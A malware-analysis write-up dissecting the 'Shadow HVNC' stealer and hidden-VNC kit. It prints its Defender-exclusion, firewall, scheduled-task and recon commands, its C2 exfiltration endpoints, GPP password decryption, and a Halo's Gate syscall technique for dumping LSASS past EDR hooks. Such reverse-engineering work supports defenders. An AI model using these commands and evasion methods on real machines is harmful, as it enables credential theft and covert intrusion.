Shadow HVNC and Shadow Loader: The Kit That Protects Its License Better Than Its Customers

Ransomware gets the headlines because it’s loud: it kicks the door wide open, encrypts everything, and leaves a “love” note, and the bill for the week or month runs into the millions. Stealers and loaders work the opposite shift. They don’t announce themselves; they don’t want your files locked — they want your sessions, your cookies, your saved logins, your API keys, your 2FA backup codes, and a quiet channel back whenever the operator feels like browsing your machine. And that is exactly why they are underestimated. A ransomware incident is one bad week with a recovery plan; a stealer infection is every account the victim ever logged into, harvested in minutes and sold or reused for months afterward, while a loader turns that initial foothold into whatever the operator wants next.

Acknowledgments: Thank you Dodo for the VirusTotal loot ❤

On March 21, 2026, the user “RemoteX” published an advertisement on the forum selling the Shadow HVNC stealer, claiming it to be the best HVNC on the market. We will go ahead and destroy that myth today.

Here is how the author describes the functionalities of the HVNC / stealer:

Data Grabber: Cookies (JSON + TXT Netscape format), passwords, autofill forms, user information
Cleanliness: No plaintext strings in the binary (everything resolved at runtime), weekly cleanup routines, easy to crypt/pack
Persistence: Very difficult to kill + extreme persistence mechanisms
Geo-block: CIS countries (excludes Commonwealth of Independent States — a common tactic to avoid prosecution in the operator’s home region)

Core Functionality:

Hidden VNC — Full hidden Chrome remote-control mode + Chrome session parsing
Keylogger — Captures everything the victim types, with enhanced formatting and stealth mode
File Manager — Browse, download, and upload any files
Process Manager —Kill processes and gain full control over running programs
Grab New Browser Data — Refresh cookies and fresh sessions in one click
Deploy New EXE — Remotely execute any .exe on the victim’s machine
Notes — Per-victim notes (PayPal accounts, crypto wallets, etc.)
Telegram Notifications — Instant alerts on new connections sent directly to the operator’s Telegram
Audio alert when a new client connects
AFK Timer — Shows victim idle time
Screenshot on connection logged automatically
Improved clipboard sync and multi-monitor support
Checker and sorter that validates cookie freshness
Stealer compatible with many popular checkers
Session grabber for Telegram, Steam & Discord
Custom proxy/relay layer support for builds

This build implements nearly everything the sales thread advertises but several features are defective in ways that are individually verifiable. Its banking watcher is built on Windows DNS event tracing, but a one-digit typo in the subscription filter means it has never received a single event; what actually triggers is a fallback that reads window titles every 15 seconds, and it can be triggered on demand by naming any window, e.g.paypal.com. Its Yandex cookie decryptor uses the wrong Windows API for modern browser encryption and recovered zero of 137 cookies in testing, while the password extractor right beside it implements the current scheme correctly.

We will be looking at the latest v.5.5 build, which is 16.4 MB in size.

The listing for this HVNC stealer brags “Нет открытого текста в бинарнике (всё в runtime)” -“no plaintext in the binary, everything at runtime” plus weekly cleanings and easy crypting. The artifact actually disagrees: a 91 KB plaintext target list with its own commented header, a plaintext C2 slot behind a RXMAGIC_C2HOST: marker, every log tag, URL and API path in cleartext, the developer’s own build paths (C:/Users/Laraib/Desktop/work/privatetools/RemoteX/Watchdog) is in the panic metadata, over a thousand of untouched Go symbol names, and three unencrypted embedded PEs. What the ad actually means is that the stub are built naked because customers are expected to run it through their own crypter — “легко криптиться” is the honest half. The “no plaintext” half is for buyers who don’t open binaries and double-check.

This article is a technical analysis of how the payload is configured, the recon commands it runs, how it dumps LSASS through a tiny importless tool called lss.exe(we will talk about this one later), the banking-domain surveillance mechanism, the reverse-proxy pivoting kit, and the persistence mechanisms keeping it alive.

Technical Analysis of Shadow HVNC

The HVNC stealer payload is about 16MB in size, written in Go with no obfuscation and no packer. The developer built it with every function readable — main.runCredDump, main.collectGPPPasswords, main.startDomainWatcher, etc. The C2 address is hardcoded in the build after the marker RXMAGIC_C2HOST:.

Client ID Generation

The victim identifier is built in three steps: the payload reads the machine’s first MAC address and its hostname and joins them into the string “-“; it hashes that string with MD5, which always produces a 16-byte digest; and it formats the first 8 bytes of the digest as uppercase hexadecimal — 8 bytes × 2 hex characters each = 16 hex characters — prefixed with RX-, for example RX-BF3332A3A7EFAC25.

Mutex

Before anything else runs, the payload claims a named Windows mutex via main.acquireInstanceLock. A named mutex is a Windows kernel object that only one process can hold at a time, and names under the Global\ prefix are visible across all user sessions on the machine, ensuring only one instance of the payload is running. The function formats the mutex name as Global\RemoteX_ and calls CreateMutexW.

The Startup Mess

Decompiling main.main gives a clean view of what happens after the instance mutex is acquired.

Let’s look at some of the interesting artifacts it leaves behind:

generateSessionID — builds the victim’s stable client identifier (described under the Client ID Generation section above).
Persistence chain (if enabled by the user in the builder component), which consists of isServiceInstalled, installService, and addToStartup. Each stage runs only if the previous stage returned an error, and any one success is enough to survive reboot:

Step 1:_copy itself to a fixed path._installService starts by calling main.copySelfToPersistentPath(). The function resolves its own path with os.Executable(), builds %LOCALAPPDATA%\Microsoft\Windows\ (os.Getenv(“LOCALAPPDATA”) plus filepath.Join), creates the tree with os.MkdirAll, and copies the running binary into it under its own file name (filepath.Base). Every autostart entry created afterward references this copy, so the originally launched file can be deleted without affecting persistence.

Step 2: _register a Windows service._Still inside installService, the payload talks to the local Service Control Manager through Go’s golang.org/x/sys/windows/svc/mgr package — no sc.exe child process. It calls OpenService(“winSvc”); if that succeeds, it closes the handle and returns the error “service already installed”. Otherwise, CreateService registers winSvc with start type 2 (SERVICE_AUTO_START), the binary path pointing at the copy from step 1, and the display name set to “mouse driver service”, a masquerade meant to look like a benign driver component in services.msc. Service creation requires administrator rights, so on a standard-user infection this is the stage that fails.

Step 3:fall back to user-mode autostarts. If service installation fails, typically because the process lacks administrator rights, main.addToStartup() runs and attempts four independent mechanisms, all pointing at the %LOCALAPPDATA% copy:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with value name RemoteX.
HKCU\Environment, value name UserInitMprLogonScript, a good ole Winlogon logon-script value that causes userinit.exe to launch the payload at every interactive logon. It needs no privileges and is watched far less often than the Run key.
main.addStartupFolderShortcut — creates WindowsSystemComponent.lnk in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup. The shortcut is built by a hidden PowerShell child process: powershell -NonInteractive -WindowStyle Hidden -NoProfile -Command “$s=(New-Object -COM WScript.Shell).CreateShortcut(‘’);$s.TargetPath=’’;$s.WindowStyle=7;$s.Save()”, with HideWindow=1 and CreationFlags=0x8000000 (CREATE_NO_WINDOW) on the process attributes.
Three scheduled tasks, each registered through main.runHiddenClient with /f (force overwrite) and /rl HIGHEST: MicrosoftWindowsManagementClient (/sc ONLOGON), MicrosoftWindowsManagementClientBoot (/sc ONSTART), and MicrosoftWindowsManagementClientPerf (/sc MINUTE /mo 5) — the third is a keep-alive that relaunches the payload every five minutes regardless of logon events.

For Step 3, at the end of addToStartup, main.isElevated() checks for administrator rights and if it has them, a second, machine-wide set of autostarts is installed in the background.

With administrator rights the payload makes a second copy of itself under %PROGRAMDATA%\Microsoft\Windows\ (main.copyToProgramData), writes the same RemoteX value to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, drops WindowsSystemComponent.lnk into the all-users Startup folder (%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\StartUp) using the same hidden PowerShell COM method, registers two further tasks — MicrosoftWindowsManagementClientSystem (/sc ONLOGON) and MicrosoftWindowsManagementClientSystemBoot (/sc ONSTART), both with /ru SYSTEM /rl HIGHESTand logs [PERSIST] all-users layers installed.

Step 4: run it anyway. If every mechanism fails, the payload does not exit; it logs “Service install failed: %v. Trying startup registry…”, “Startup registry failed: %v. Running normally…” and continues without persistence.

Now back to artifacts:

addClientFirewallRule contains three netsh calls. The first is netsh advfirewall firewall delete rule name=”RemoteX Client”, which removes any rule left by a previous install so repeated installations do not accumulate duplicates. The next two run with the window hidden (HideWindow=1 on the process attributes) and create the allow rules: netsh advfirewall firewall add rule name=”RemoteX Client” dir=out action=allow program= and the corresponding name=”RemoteX Client In” dir=in rule. The rules are bound to the executable’s path rather than to ports, so all of the stealer’s traffic is permitted by the host firewall before the first connection is made.
setDPIAware — calls SetProcessDPIAware, so Windows reports true screen pixels instead of a scaled-down coordinate space. Without it, on any display running at 125%+ scaling, the HVNC screenshots would be captured at the wrong coordinates and operator clicks would land offset from where they were aimed.
initTurbo loads turbojpeg.dll and initializes libjpeg-turbo’s SIMD-accelerated JPEG encoder (“[TURBO] Loaded from: %s … SIMD JPEG active”). This is the encoder used for the continuous screen-capture stream, where per-frame encoding cost matters. The DLL search path includes C:\libjpeg-turbo64\bin\turbojpeg.dll.
shouldRunSystemHarvest — used for the one-time bulk collection. It evaluates two markers: the environment variable REMOTEX_MULTIUSER_HARVEST, and the registry value MultiUserHarvest under HKLM\SOFTWARE\RemoteX. The harvest proceeds only if the registry flag indicates it has not run on this machine before.
runService, runWatchdogService, runClient are the dispatchers. The same binary runs in one of three modes depending on how it was started: as the winSvc Windows service via the SCM entry point, as the watchdog instance when invoked with –guard, or as the plain interactive client. All three modes converge on connectAndRun, which performs the geo-fence check, spawns the domain watcher, and enters the C2 main loop.

Before Anything Else: Neuter the Defenses

Defender tampering

Shadow HVNC adds its install path and process name to Windows Defender’s exclusion lists, trying PowerShell first — Add-MpPreference -ExclusionPath and -ExclusionProcess under powershell -ExecutionPolicy Bypass and falling back to a direct registry write only if that fails (“[DEFENDER] PowerShell failed (%v) — trying registry fallback”). The fallback uses Defender’s own on-disk schema: under HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths, it creates a value named the install path. Both methods require administrator rights; the cmdlet needs elevation, and the write goes to HKLM, so a standard-user infection gets no exclusions at all and simply runs unprotected.

Add-MpPreference -ExclusionPath '%s' -Force
Add-MpPreference -ExclusionProcess '%s' -Force
[DEFENDER] exclusion added via PowerShell: %s
[DEFENDER] exclusion added via registry: %s

Geo-fencing

“[GEO] blocked country %s — sleeping” — Shadow HVNC geolocates the victim (via http://ip-api.com/json/?fields=countryCode) and sleeps indefinitely if the country lands on a blocklist, the standard “don’t infect the home team” pattern in commodity malware. The blocklist looked runtime-built at first, but it is a Go package-level map literal: main.map.init.0 builds a map[string]bool from thirteen 2-letter keys read straight out of a 26-byte run in .rdata, which means the excluded countries are recoverable byte-for-byte: ZA, RU, UA, BY, KZ, UZ, TM, TJ, KG, AZ, AM, GE, MD. Twelve of the thirteen cover Russia and the CIS states, consistent with an operator in that region steering clear of domestic victims and domestic law enforcement. The thirteenth, South Africa, breaks the pattern; it fits a second habit seen in some malware: excluding victims deemed low-value rather than ones deemed legally risky. The blocklist check obviously happens before anything else runs in the payload, while getCountryCode is reused elsewhere for a different purpose, tagging every exfil upload (/api/upload-creds?id=%s&country=%s&ts=%s, /api/domain-screenshot?id=%s&domain=%s&country=%s) so the panel can sort victims by country.

Also, a small finding: the payload carries a dedicated dismissal routine for Windows’ out-of-box-experience UI (main.oobeKillS4), aimed at CloudExperienceHost.exe, the one process that renders every first-run and post-update screen, from the “Let’s finish setting up your device” prompt to the privacy consent pages (pretty sure you have seen them during Windows setup). It works in stages rather than as a simple kill: first it tries to pre-empt the UI entirely by writing PrivacyConsentStatus=1 under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE ([OOBE] S3: registry PrivacyConsentStatus=1), then it locates the OOBE window and kills its owning PID ([OOBE] S0: killed pid=%d), then sweeps the process list for anything named CloudExperienceHost.exe as a catch-all ([OOBE] S1: killed %s pid=%d), and finally re-checks after 300 ms, reporting OOBE Cleared or OOBE Partial to the panel — with [OOBE] still present (need admin?) if the HKLM write or the kill didn’t work. The routine fires automatically whenever the operator launches an application through the panel (polling up to ten times to make sure the OOBE screen doesn’t compete with the operator’s window) and can also be triggered manually from the panel ([OOBE] manual kill triggered). The motive is the same either way: keep unexpected system UI off the victim’s desktop while the operator is connected, so nothing on screen hints that something unusual is happening.

The S0 stage logging '[OOBE] S0: killed pid=%d' after terminating the OOBE window's owner process (main.oobeKillS4 function)

Command & Control: The Wire Protocol

Time to talk about how this thing actually communicates. The architecture is pretty straightforward here: WebSocket for everything interactive, plain HTTP for everything heavy. No TLS anywhere here; the developer expects the panel to live on a trusted network or behind an external tunnel.

Two WebSockets

The primary channel is established by main.connectToHost:

ws:///ws/client?id=

The moment it connects, Shadow HVNC introduces itself by sending the SystemInfo message (the fingerprint from recon: CPU, RAM, MAC, IPs, locale, elevation state, country), logged as “Failed to send initial system info: %v” on failure, and then settles into the loop. If the loop breaks, the payload retries indefinitely with a logged message: “[CONN] error: %v — retry in %v”. There is no jitter, no sleep schedule, no domain rotation; the payload attempts to maintain the connection continuously, backing off with increasing delays between attempts (observed in a live run: roughly 3 s, then 6 s, then 13 s).

The second WebSocket serves the backstage browser sessions, but it does not exist until the operator asks for it:

ws:///ws/backstage-src?target=&generation=

When the operator clicks Backstage Mode in the panel, a start_backstage control message is sent over the primary channel ([BS] received start_backstage gen=%s — launching session). Only then does the payload open a separate hidden desktop ([BS] opening desktop “RemoteXBackstage”), launch the requested browser onto it, and dial /ws/backstage-src ([BS] dialing %s ->[BS] dial SUCCESS gen=%s). While the session is live, that socket carries the heavy traffic — the capture, encode, write loop streaming the hidden browser’s frames and the input loop feeding the operator’s clicks back. Sessions are paired by a generation counter: duplicate starts are ignored ([BS] already running gen=%s), and stops are validated against it ([BS] stop ignored — gen mismatch), so a stale panel cannot tear down a newer session. When the operator stops the session, stop_backstage gets on the primary channel ([BS] stopped by server request), the loops end ([BS] backstage desktop session ended), and the second socket closes until the next click.

There’s also a quieter third channel: main.runSecondaryConnection ([S2]) — a status link that reports service and process lifecycle events back to the panel with fields like exit_type, exited_cleanly and Crashed, with its own retry loop (“[S2] connect failed: %v — retry in %s”). That’s how the panel knows the payload died versus merely lost a connection.

Frame format: a 7-byte header

Everything on the main socket is in binary frames with a fixed 7-byte header:

Offset	Size	Field
0	1	message type
1	2	flags (per-type; e.g. 1 on dirty-rect frames, 0 on control/proxy)
3	4	payload length, big-endian
7	n	payload

“Dirty-rect” (dirty rectangle) is a screen-streaming optimization. Sending the entire desktop as a fresh screenshot 10+ times a second would flood the connection, and 95% of the pixels usually didn’t move. So instead, the payload compares the new capture against the previous one and ships only the rectangles where pixels actually changed, the “dirty” regions. The flag tells the panel how to interpret the payload it’s about to receive: flags=1 means “this is a partial update, a set of changed rectangles, composite them onto the last full frame”; flags=0 on a screen frame means “this is a complete frame, replace everything”. That’s how the HVNC live view stays crisp without saturating the victim’s upload. Control and proxy frames have no notion of changed regions, so their flags word is always 0.

Inbound message types (from server to payload):

Type	Handler	Description
0x02	handleMouse	operator mouse movement
0x03	handleKeyboard	operator keystrokes
0x04	setClipboard	push clipboard content to victim
0x05	handleMouseButton	operator clicks
0x06	handleControl	control command - JSON payload
0x07	handleTerminal	terminal input
0x0C	handleScroll	operator scroll
0x14	handleProxyData	proxy relay data

Anything else is rejected (“unknown message type: %d”), and a frame shorter than its header is dropped (“Received malformed packet (len=%d)”).

Outbound message types (from payload to server):

Type	Source	Description
0x06	sendControlResponse, sendWebcamFrame	JSON responses/events - bidirectional with inbound
0x08	sendSystemInfo	the connect-time fingerprint
0x0D	sendDirtyRect	hidden-desktop JPEG delta frames (MSG_HIDDEN_DELTA, flags=1)
0x0E	sendFrame / H.264 path	hidden-desktop H.264 stream (MSG_HIDDEN_H264)
0x14	sendProxyFrame	proxy relay data - bidirectional with inbound

Type 0x06 is the JSON channel: its payload is a JSON object, and it carries slower, less time-critical traffic, for example, control acknowledgments and errors, webcam_frame snapshots, clipboard_update events from the clipboard poller, file_upload_result and data_uploaded notices, keystroke_log batches. Anything that has to move fast and parse trivially — screen video, operator input, proxy bytes — gets its own compact binary type, while everything else comes as readable JSON inside 0x06.

The hidden-desktop stream actually has two codecs, and the second one is easy to miss. JPEG (full frames plus dirty-rect deltas, type 0x0D) is the baseline. But the preferred mode is H.264, a video codec with temporal compression, so motion costs a fraction of the JPEG bandwidth, streamed as type 0x0E (MSG_HIDDEN_H264). The encoder is Cisco’s OpenH264 via the Go binding github[.]com/y9o/go-openh264, and it is not embedded: if openh264-2.4.1-win64.dll isn’t present, the payload downloads it on demand from Cisco’s official CDN (hxxp://ciscobinary.openh264[.]org/openh264-2.4.1-win64.dll.bz2, logged as “[H264] Downloading OpenH264 %s from Cisco CDN…”) before starting the encoder (“[H264] Started OpenH264 encoder (%dx%d)”). If the download or encoder init fails (“[H264] DLL unavailable: %v”, “WelsCreateSVCEncoder failed: %d”), nothing breaks — it logs “[H264] Encoder init failed, falling back to JPEG: %v” and the operator keeps watching over the JPEG path.

Command dispatch is under main.handleControl function. Decoding the constants recovers the full operator command set in the latest 5.5 build.

_The command string_is compared as raw integer chunks, decoded little-endian — _the constants spell “__start_backstage'._

Beyond the standard RAT / stealer shenanigans (run_file, file_list, file_upload, file_download, get_processes, kill_process, start_terminal, start_proxy, start_socks5, lock, restart, shutdown, webcam_snap, kill_switch), and the HVNC family (start_browser, browser_nav, scan_browsers, switch_browser, switch_display, hidden_launch, set_hidden_mode, input_mode, inject_cookies, quality), 5.5 adds the interesting ones:

dump_creds — triggers the LSASS chain (this is the one we’ll follow down the rabbit hole)
start_backstageand stop_backstage — a live interactive browser session streamed over that second WebSocket we mentioned above, /ws/backstage-src
hd_window_action — window manipulation on the hidden desktop
get_chrome_profiles — enumerate browser profiles for the operator’s menu
refresh_steam_token — re-harvest Steam session tokens on demand
back,forward,reload — browser navigation primitives

Four commands from that list deserve a closer look here.

inject_cookies— replaying stolen sessions inside the hidden browser. Shadow HVNC answers the panel with {“type”: “cookies_injected”, “count”: N}, but the interesting part is what happens before that. Stolen cookies are not injected at harvest time. Everything the stealer pulls from the victim’s browsers lands in an in-memory pending list, a mutex-guarded slice that main.syncCookies keeps topped up in the background ([COOKIE] sync complete: %d cookies ready for injection). When the operator triggers inject_cookies, the batch is usually already waiting. If the hidden browser’s DevTools connection isn’t up yet, nothing fails and nothing is dropped: the payload logs [COOKIE-DBG] injectStoredCookies: CDP not connected yet … will inject on connect and returns, leaving the batch queued. When the hidden browser later starts and the CDP client attaches, the queue flushes automatically ([HD-CDP] injecting %d pending cookies into fresh browser session…). The operator can trigger the command before the hidden browser even exists. main.injectCookiesViaCDP packs the whole batch into a single DevTools JSON-RPC frame - {“method”: “Network.setCookies”, “params”: {“cookies”: […]}} with each cookie carrying name, value, domain, path, httpOnly, and sameSite defaulting to Lax. The frame goes through main.hdCDPSend, the payload’s WebSocket client that talks to the hidden ChromeDevTools endpoint on 127.0.0.1:. Chrome treats Network.setCookies as a browser-internal call and writes the entries into its cookie store exactly as if each site had set them over HTTPS. Entries that fail validation are counted and skipped, not aborted - that is the (%d skipped) in [HD-CDP] injected %d cookies via Network.setCookies. The outcome is the operator opens the hidden browser, browses to the victim’s sites, and Chrome attaches the injected cookies to every request. Mail, banking, corporate SSO — every site sees an already-authenticated session, and the operator never touches a password or a 2FA prompt.
hidden_launch—arbitrary execution on the hidden desktop. Shadow HVNC first starts the hidden desktop if it isn’t active, then passes the request to the hidden desktop’s launcher, which returns “hidden desktop not active” if the desktop still isn’t up. The launcher forwards the job to the hidden-desktop worker thread, and that worker does the actual spawn: before creating anything, it attaches its own thread to the hidden desktop (GetCurrentThreadId, GetThreadDesktop, SetThreadDesktop), and only then calls CreateProcess, so the child process comes up with its windows bound to the hidden desktop from its very first instruction. The desktop itself is a Win32 desktop object named RemoteXHidden. Failure paths log “Cannot launch on hidden desktop: %v” and “Hidden launch failed: %v”. The hidden desktop is not just for browsers: the operator can spawn cmd, PowerShell, or a second-stage binary where nothing ever appears on the victim’s screen.
hd_window_action —window management for the hidden browser. The payload’s handler takes an action string from the JSON and acts on the hidden browser’s window: restore calls ShowWindow with SW_RESTORE, maximize calls it with SW_MAXIMIZE, and fit_screen takes a different path; it queries the desktop dimensions with GetSystemMetrics and then resizes the window with MoveWindow. The frame-capture thread screenshots whatever the window actually renders, so these three actions are how the operator controls the resolution and layout of the stream they are watching, without the victim’s monitor ever showing a pixel of it. If no browser window exists on the hidden desktop yet, the handler returns “[HD-WIN] hd_window_action: no browser HWND”.
set_hidden_mode —the panel’s on/off switch for hidden mode. The command takes a bool: on or off. When the operator switches it on, the payload first tries the normal approach — spin up the hidden desktop so the operator works in a parallel invisible session. If the hidden desktop can’t start, it doesn’t give up: it logs “Hidden desktop failed (%v), falling back to legacy mode” and reaches for the trick Shadow HVNC used before hidden desktops existed — take over the victim’s real session, but blind them first. Two Windows calls do that: BlockInput(1) freezes the victim’s keyboard and mouse, and SendMessageW with SC_MONITORPOWER lParam 2 powers the physical monitor off. From the victim’s chair, the computer looks asleep, a black screen that ignores everything they type, while the operator clicks around their actual desktop from the panel. Switching the mode off undoes exactly that: BlockInput(0) hands the keyboard and mouse back, and the same message with lParam -1 wakes the monitor.

The HTTP exfiltration channel

Bulk data never touches the WebSocket; it goes out as ordinary HTTP POSTs, each endpoint parameterized with the client ID and the victim’s country code:

POST /api/upload-data?id=&country= — the harvest ZIP (application/zip)
POST /api/upload-creds?id=&country=&ts= — LSASS dump (zlib; ts = Go layout “2006–01–02_15–04–05”, e.g. 2026–07–26_04–56–53)
POST /api/keylog — keylog flushes
POST /api/domain-screenshot?id=&domain=&country= — banking captures
GET /api/download-data?path=— operator file pulls

One caveat for anyone reading sandbox reports (check out this one from Tria.ge): these POSTs only happen after the WebSocket handshake succeeds. The harvest goroutines spawn only after the /ws/client connection succeeds, and the initial SystemInfo message is sent. Against a dead or refusing C2, the payload produces nothing but /ws/client retries, which is exactly why automated sandbox reports for this family typically list only the WebSocket URL and none of the /api/* exfiltration endpoints.

The Recon Engine: Every Command It Runs

Every recon command is assembled as a Go string slice and passed through a shared helper, main.runCmd, which wraps os/exec with a timeout. Decompiling main.collectPrivilegesFile shows the pattern clearly. The function builds an array of task structs — output filename, a pretty header, and the command arguments, then loops through them with a sync.WaitGroup:

v75 = "WHOAMI /ALL — TOKEN, GROUPS, PRIVILEGES, SID";
v74 = "whoami_all.txt";
args[0] = "cmd";        // &unk_140AE69C0, len 3
args[1] = "/c";         // &unk_140AE6747, len 2
args[2] = "whoami";     // aFalseiexclpoun+1279, len 6
args[3] = "/all";       // "/alluser.rdp", len 4

Decoded across collectPrivilegesFile and collectLateralMovement, the complete command list:

cmd /c whoami /all - whoami_all.txt
cmd /c whoami /priv - whoami_priv.txt
cmd /c net user  - net_user.txt
cmd /c net user - local_users.txt
cmd /c net localgroup administrators - local_admins.txt
cmd /c arp -a - network_map.txt
cmd /c net use - network_map.txt
cmd /c net group "Domain Admins" /domain - domain_admins.txt
cmd /c net view /domain - domain_computers.txt
cmd /c cmdkey /list - saved_credentials_cmdkey.txt

Each output file gets a vibe-coded header written before the command output -“NETWORK MAP — ARP CACHE + MAPPED DRIVES”, “DOMAIN ADMINISTRATORS”, “VISIBLE DOMAIN MACHINES”, “CURRENT USER ACCOUNT DETAILS”.

local_admin.txt content (Don’t mind me using Notepad++)

Read that list the way a threat actor would read it: who am I, what can I touch, who else is here, and where do I go next (you got it).

The recon doesn’t stop at cmd. Running in parallel, more data is collected:

RDP history in three ways:The MRU is read from the registry — HKCU\Software\Microsoft\Terminal Server Client\Default and HKCU\Software\Microsoft\Terminal Server Client\Servers and formatted into mru_hosts.txt with a “[Most Recently Used]” header. The filesystem is searched recursively for *.rdp files (Default.rdp, user.rdp, alluser.rdp patterns). And the DPAPI-encrypted credential blobs are exfiltrated from the user’s Credentials directory with “[rdp] ✅ Collected %d encrypted credential files”.

RDP event logs: Shadow HVNC leverages wevtutil to export the Microsoft-Windows-TerminalServices-LocalSessionManager/Operational log into terminal_services_events.txt. That’s not just about the victim now; it’s about who else connects to this machine.
The fingerprint: main.getSystemInfo gathers CPU model, total RAM, disk size, MAC, LAN IP, public IP (api.ipify.org), keyboard layouts, system locale, elevation state, and country code into the SystemInfo message that introduces the victim to the panel on connect.
GPP passwords: Group Policy Preferences passwords are a legacy Active Directory weakness: admins once used GPP to push local-admin or service credentials to domain machines via XML files, and Microsoft inadvertently published the static AES key those files were encrypted with, meaning any domain user can read a cpassword out of SYSVOL and decrypt it. Shadow HVNC has that attack built in, obviously. main.collectGPPPasswords looks for Groups.xml in SYSVOL-style locations, and main.decryptGPPPassword recovers the cpassword values completely on its own: base64-decode, then AES-256-CBC with an all-zero IV and the 32-byte key Microsoft published and hardcoded in the binary; the recovered plaintext passwords will be recorded in gpp_passwords.txt. For the operator, a single hit is often domain-wide access: the classic use of cpassword was deploying one shared local administrator password to every machine in the environment, so one decrypted value can potentially mean local admin everywhere
Autologon: Winlogon’s AutoAdminLogon, DefaultUserName, DefaultPassword is read from HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon and dumped into autologon.txt. This is one of the few places Windows keeps a password in plaintext. For the TA, this is usually a working interactive credential: autologon gets configured on machines meant to boot straight into a session, e.g., kiosks, POS terminals, lab, and those accounts are almost always local admins, or worse, a domain account when DefaultDomainName is set. And because such environments are typically cloned from one image, one autologon password tends to work on every sibling machine.
Inventories: InstalledSoftware.txt (typical uninstall registry walk), InstalledBrowsers.txt, ProcessList.txt, a full environment dump (EnvironmentVariables.txt since people love to leave juicy tokens in env vars), active_sessions.txt, and a desktop Screenshot.jpg so the operator can determine if the machine is running in a sandbox or VM before even deciding to touch it.

All of the “loot” lands in a single staging tree and the collection covers every local profile on the machine, not just the current user’s. Once the harvest completes, the tree is zipped into data.zip and sent off in one POST to /api/upload-data, with the victim’s country code attached so the panel can sort it.

Following dump_creds: How This Thing Runs “mimikatz” Without Ever Shipping Mimikatz

The question that started this part of the analysis was: how the hell does it run mimikatz via lss.exe? The answer turns out to be a bit of a disappointment.

First, what the binary does not contain: no mimikatz. The string mimikatz appears exactly once in the entire binary, as part of the directory name, mimikatz-credentials. That’s a staging folder: Shadow HVNC dumps LSASS memory with its own tiny tool that was previously mentioned above — lss.exe.

The “thing” in the .data section

Scanning the raw file for embedded PEs turns up three nested executables, all living in .data. The first one is our lss.exe (85c5a390f17891eee01d5fd10f20a98d).

Embedded executables in Shadow HVNC (source: Malcat)

Carving it out and parsing the PE headers shows the import directory is empty. No kernel32, no ntdll, no advapi32, nothing.

By taking a look at the headers, we can see Malcat already identified a few hashes successfully. If we follow Malcat’s signature into .text, the first thing that turns up is a cluster of gs:[0x60] reads, a pointer to the PEB, the Process Environment Block. The PEB is a structure Windows builds for every process in its own address space: among other things, it holds the loader’s list of every DLL the process has loaded. This tool’s import table is empty, so before it can call anything, it has to find ntdll on its own; and the moment it uses GetModuleHandle/GetProcAddress type of resolution, it touches code an EDR is watching. The PEB walk solves both problems at once. So: the tool walks PEB -> Ldr -> InMemoryOrderModuleList, hashes each module’s base name, and compares it against a hardcoded constant. The hash is just djb2, seed 0x1505, h = h*33 + c, with lowercase folded to uppercase first.

Malcat identified twelve of the fifteen on its own, but the two name lookups, ntdll.dll and lsass.exe, aren’t in its database because they aren’t APIs. I added them as user constants (a two-rule Yara file in Malcat’s constants folder data\constants).

Constant	Name	Description
`0x1EDAB0ED`	`ntdll.dll`	Find ntdll’s base in the module list
`0x7384117B`	`lsass.exe`	Find LSASS’s PID in the process snapshot
`0x9E456A43`	`LdrLoadDll`	Resolved first but never called
`0xF783B8EC`	`NtAllocateVirtualMemory`	Staging buffers
`0x2802C609`	`NtFreeVirtualMemory`	Cleanup
`0x10C0E85D`	`NtQueryVirtualMemory`	Walk LSASS’s memory regions
`0xA3288103`	`NtReadVirtualMemory`	Read those regions
`0x4B82F718`	`NtOpenProcess`	Open LSASS
`0x7BC23928`	`NtQuerySystemInformation`	Enumerate processes
`0x8CDC5DC2`	`NtQueryInformationProcess`	Process details
`0x350DCA99`	`NtOpenProcessToken`	Opens the token of its own process so it can be modified
`0x2DBC736D`	`NtAdjustPrivilegesToken`	Enable SeDebugPrivilege to open LSASS
`0x66163FBB`	`NtCreateFile`	Output file
`0xE0D61DB2`	`NtWriteFile`	Write the dump
`0x40D6E69D`	`NtClose`	Close handles

Malcat identified twelve of the fifteen on its own, but the two name lookups, ntdll.dll and lsass.exe, aren’t in its database because they aren’t APIs. I added them as user constants as a Yara rule dropped into Malcat’s data\constants\ folder.

Read the table above from top to bottom, and you have the entire logic, pretty much.

lss.exe calls NtQuerySystemInformation for the process snapshot, then walks the entries, djb2-hashing each process name and comparing against 0x7384117B (djb2(“lsass.exe”)). On a match, it reads the entry’s UniqueProcessId field — the PID that goes into NtOpenProcess.

lss.exe never calls ntdll’s functions. Every Nt* export is a small stub that loads a service number into eax and runs syscall. The bytes are in readable memory; ntdll is mapped into every process, so the binary just reads the number out of the stub.

A clean stub starts with 4C 8B D1 B8 (mov r10, rcx; mov eax, …), the number right after. An EDR hook replaces the first bytes with a jump (0xE9), which destroys the number. When the binary sees 0xE9, it walks to neighboring stubs, up to 500 in either direction, in 0x20-byte steps, counting steps, until it finds one that isn’t hooked. Syscall numbers are sequential, so the neighbor’s number minus or plus the step count gives back the hidden one. Reminds you of something? Right, this is the Halo’s Gate technique. The call itself is an indirect syscall: the recovered number goes into eax, and execution jumps to the syscall; ret inside the target stub. Every call site passes the resolved address plus 0x12, the fixed offset of the syscall instruction in a standard stub, landing past the bytes the hook patched, so the call executes from ntdll’s own memory. It’s worth noting that no syscall number is hardcoded anywhere in the binary. The only constants are name hashes; the numbers are computed at runtime from the victim’s own ntdll, so the tool doesn’t break when Microsoft reassigns them between builds.

_The Halo’s Gate check: clean stub (__4C), hooked stub (__E9), then walk the neighbors ±0x20 at a time._

